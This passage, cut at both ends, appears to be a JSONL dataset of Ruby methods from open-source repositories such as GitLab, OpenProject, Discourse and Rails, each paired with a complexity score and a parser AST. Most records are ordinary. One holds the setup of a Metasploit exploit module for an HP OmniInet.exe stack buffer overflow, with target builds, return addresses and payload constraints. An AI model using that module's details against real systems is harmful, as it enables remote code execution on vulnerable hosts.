ts\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"named_routes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"product\"]}]}]}]}]}]}","id":"b59d63d5-57e3-4663-9b31-409db9871188"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/merge_request_pipelines_resolver.rb","start_line":17,"raw_source":"def resolve(**args)\n      return unless project\n\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"afff08e2-6a3a-42cd-9e5e-0a80f708f90b"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/principals.rb","start_line":42,"raw_source":"def principal_for(principal_id)\n            principals_by_id[principal_id]\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"principal_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"principal_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"principals_by_id\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"principal_id\"]}]}]}","id":"c1aaa607-df2b-4224-a8a3-2a976bddf2fa"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":1173,"raw_source":"def permissions_compatibility_validator\n    # when saving subcategories\n    if @permissions && parent_category_id.present?\n      return if parent_category.category_groups.empty?\n\n      parent_permissions = parent_category.category_groups.pluck(:group_id, :permission_type)\n      child_permissions =\n        (\n          if @permissions.empty?\n            [[Group[:everyone].id, CategoryGroup.permission_types[:full]]]\n          else\n            @permissions\n          end\n        )\n      check_permissions_compatibility(parent_permissions, child_permissions)\n\n      # when saving parent category\n    elsif @permissions && subcategories.present?\n      return if @permissions.empty?\n\n      parent_permissions = @permissions\n      child_permissions = subcategories_permissions.uniq\n\n      check_permissions_compatibility(parent_permissions, child_permissions)\n    end\n  end","complexity_score":39.7,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions_compatibility_validator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_category_id\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_category\"]},\"category_groups\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parent_permissions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_category\"]},\"category_groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"sym\",\"children\":[\"permission_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"child_permissions\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},\"empty?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryGroup\"]},\"permission_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"full\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@permissions\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_permissions_compatibility\",{\"type\":\"lvar\",\"children\":[\"parent_permissions\"]},{\"type\":\"lvar\",\"children\":[\"child_permissions\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcategories\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parent_permissions\",{\"type\":\"ivar\",\"children\":[\"@permissions\"]}]},{\"type\":\"lvasgn\",\"children\":[\"child_permissions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subcategories_permissions\"]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[null,\"check_permissions_compatibility\",{\"type\":\"lvar\",\"children\":[\"parent_permissions\"]},{\"type\":\"lvar\",\"children\":[\"child_permissions\"]}]}]},null]}]}]}","id":"ec3740c3-9f85-4c17-adb2-deb64d519739"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/user_access.rb","start_line":117,"raw_source":"def protected_branch_accessible_to?(ref, action:)\n      assert_project!\n\n      ProtectedBranch.protected_ref_accessible_to?(\n        ref, user,\n        project: project,\n        action: action,\n        protected_refs: project.all_protected_branches)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"protected_branch_accessible_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"kwarg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_project!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedBranch\"]},\"protected_ref_accessible_to?\",{\"type\":\"lvar\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protected_refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"all_protected_branches\"]}]}]}]}]}]}","id":"05bb4138-8dc7-48cb-bd5e-03e9bee44e4f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/configuration_test.rb","start_line":46,"raw_source":"def new_app\n      File.expand_path(\"#{app_path}/../new_app\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/../new_app\"]}]}]}]}","id":"bd1ec55f-4bf7-4b44-95ec-43d382172394"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection_sorter.rb","start_line":32,"raw_source":"def compare_path_parts(a_parts, b_parts)\n        a_part = a_parts.shift\n        b_part = b_parts.shift\n\n        return B_FOLLOWS_A if a_parts.size < b_parts.size && a_parts.empty?\n        return A_FOLLOWS_B if a_parts.size > b_parts.size && b_parts.empty?\n\n        comparison = a_part <=> b_part\n\n        return comparison unless comparison == EQUIVALENT\n        return compare_path_parts(a_parts, b_parts) if a_parts.any? && b_parts.any?\n\n        # If A and B have the same name (e.g. symlink change), they are identical so return 0\n        EQUIVALENT\n      end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_path_parts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a_parts\"]},{\"type\":\"arg\",\"children\":[\"b_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_parts\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"b_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b_parts\"]},\"shift\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_parts\"]},\"size\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b_parts\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_parts\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"B_FOLLOWS_A\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_parts\"]},\"size\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b_parts\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b_parts\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"A_FOLLOWS_B\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"comparison\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_part\"]},\"<=>\",{\"type\":\"lvar\",\"children\":[\"b_part\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comparison\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"EQUIVALENT\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comparison\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_parts\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b_parts\"]},\"any?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare_path_parts\",{\"type\":\"lvar\",\"children\":[\"a_parts\"]},{\"type\":\"lvar\",\"children\":[\"b_parts\"]}]}]},null]},{\"type\":\"const\",\"children\":[null,\"EQUIVALENT\"]}]}]}","id":"a350d0fe-e41c-4234-908c-5b534a1c925d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/attachment.rb","start_line":273,"raw_source":"def self.extract_fulltext_where_missing(run_now: true)\n    return unless OpenProject::Database.allows_tsv?\n\n    Attachment\n      .where(fulltext: nil)\n      .where(container_type: tsv_extracted_containers)\n      .pluck(:id)\n      .each do |id|\n      if run_now\n        Attachments::ExtractFulltextJob.perform_now(id)\n      else\n        Attachments::ExtractFulltextJob.perform_later(id)\n      end\n    end\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extract_fulltext_where_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"run_now\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"allows_tsv?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fulltext\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_type\"]},{\"type\":\"send\",\"children\":[null,\"tsv_extracted_containers\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"run_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachments\"]},\"ExtractFulltextJob\"]},\"perform_now\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Attachments\"]},\"ExtractFulltextJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]}","id":"5554f004-b173-483a-808f-3a1f4fad5bdb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/redirect_uri_component.rb","start_line":37,"raw_source":"def show_icon_button_options\n      {\n        icon: :eye,\n        tag: :a,\n        href: url_helpers.show_redirect_uri_admin_settings_storage_oauth_client_path(storage),\n        scheme: :invisible,\n        aria: { label: I18n.t(\"storages.label_show_storage_redirect_uri\") },\n        test_selector: \"storage-show-redirect-uri-button\"\n      }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show_icon_button_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"eye\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url_helpers\"]},\"show_redirect_uri_admin_settings_storage_oauth_client_path\",{\"type\":\"send\",\"children\":[null,\"storage\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"invisible\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"storages.label_show_storage_redirect_uri\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_selector\"]},{\"type\":\"str\",\"children\":[\"storage-show-redirect-uri-button\"]}]}]}]}","id":"b9d0161e-14c1-4c6c-8e50-6ada36d30c96"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/bisect_progress_formatter.rb","start_line":81,"raw_source":"def bisect_repro_command(notification)\n          output.puts \"\\nThe minimal reproduction command is:\\n  #{notification.repro}\"\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"bisect_repro_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nThe minimal reproduction command is:\\n  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"repro\"]}]}]}]}]}","id":"ed8e7b1f-daad-4e62-950d-07de04c0784e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250423133838_add_name_and_description_to_maven_vreg_registries.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      add_column TABLE_NAME, :name, :text, if_not_exists: true, null: false, default: ''\n      add_column TABLE_NAME, :description, :text, if_not_exists: true\n    end\n\n    add_text_limit TABLE_NAME, :name, 255\n    add_text_limit TABLE_NAME, :description, 1024\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"int\",\"children\":[255]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]}","id":"8e67da15-8510-4523-a5fa-4528836b0be9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":760,"raw_source":"def change\n            create_table(:schools)\n\n            create_table(:classes) do |t|\n              t.references :school\n            end\n            add_foreign_key :classes, :schools, validate: true\n          end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"schools\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"classes\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"school\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"classes\"]},{\"type\":\"sym\",\"children\":[\"schools\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"f67ec7f6-64eb-4054-8086-18fa5340d4a1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/cli_tools_distributor.rb","start_line":19,"raw_source":"def utf8_locale?\n        (ENV['LANG'] || \"\").end_with?(\"UTF-8\", \"utf8\") || (ENV['LC_ALL'] || \"\").end_with?(\"UTF-8\", \"utf8\") || (FastlaneCore::CommandExecutor.which('locale') && `locale charmap`.strip == \"UTF-8\")\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"utf8_locale?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LANG\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"end_with?\",{\"type\":\"str\",\"children\":[\"UTF-8\"]},{\"type\":\"str\",\"children\":[\"utf8\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LC_ALL\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"end_with?\",{\"type\":\"str\",\"children\":[\"UTF-8\"]},{\"type\":\"str\",\"children\":[\"utf8\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommandExecutor\"]},\"which\",{\"type\":\"str\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"locale charmap\"]}]},\"strip\"]},\"==\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}]}]}","id":"6bb7ffea-1ee7-4b70-950e-e5d996ce86e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/hp_omniinet_1.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack-based buffer overflow in the Hewlett-Packard\n          OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\n          packet, a remote attacker may be able to execute arbitrary code with elevated\n          privileges.\n\n          This service is installed with HP OpenView Data Protector, HP Application\n          Recovery Manager and potentially other products. This exploit has been tested\n          against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\n          of Application Recovery Manager.\n\n          NOTE: There are actually two consecutive wcscpy() calls in the program (which\n          may be why ZDI considered them two separate issues). However, this module only\n          exploits the first one.\n        },\n        'Author' => [\n          'EgiX <n0b0d13s[at]gmail.com>',\n          'Fairuzan Roslan <riaf[at]mysec.org>',\n          'jduck'\n        ],\n        'References' => [\n          [ 'CVE', '2007-2280' ],\n          [ 'BID', '37396' ],\n          [ 'OSVDB', '61206' ],\n          [ 'ZDI', '09-099' ]\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'seh',\n        },\n        'Payload' => {\n          'Space' => 4658 + 66,\n          'BadChars' => \"\\x00\", # (we don't want \\x00\\x00)\n          'StackAdjustment' => -3500\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Automatic Targeting', { 'auto' => true } ],\n\n          # DP Targets\n          [\n            'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',\n            {\n              'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)\n            }\n          ],\n          [\n            'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',\n            {\n              'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)\n            }\n          ],\n\n          # APPRM Targets\n          [\n            'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',\n            {\n              'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)\n            }\n          ],\n          [\n            'HP Application Recovery Manager software A.06.10: INET, internal build 282',\n            {\n              'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2009-12-17',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(5555)])\n  end","complexity_score":8.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HP OmniInet.exe MSG_PROTOCOL Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack-based buffer overflow in the Hewlett-Packard\\n\"]},{\"type\":\"str\",\"children\":[\"          OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)\\n\"]},{\"type\":\"str\",\"children\":[\"          packet, a remote attacker may be able to execute arbitrary code with elevated\\n\"]},{\"type\":\"str\",\"children\":[\"          privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This service is installed with HP OpenView Data Protector, HP Application\\n\"]},{\"type\":\"str\",\"children\":[\"          Recovery Manager and potentially other products. This exploit has been tested\\n\"]},{\"type\":\"str\",\"children\":[\"          against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1\\n\"]},{\"type\":\"str\",\"children\":[\"          of Application Recovery Manager.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: There are actually two consecutive wcscpy() calls in the program (which\\n\"]},{\"type\":\"str\",\"children\":[\"          may be why ZDI considered them two separate issues). However, this module only\\n\"]},{\"type\":\"str\",\"children\":[\"          exploits the first one.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EgiX <n0b0d13s[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Fairuzan Roslan <riaf[at]mysec.org>\"]},{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-2280\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"37396\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"61206\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"09-099\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"seh\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\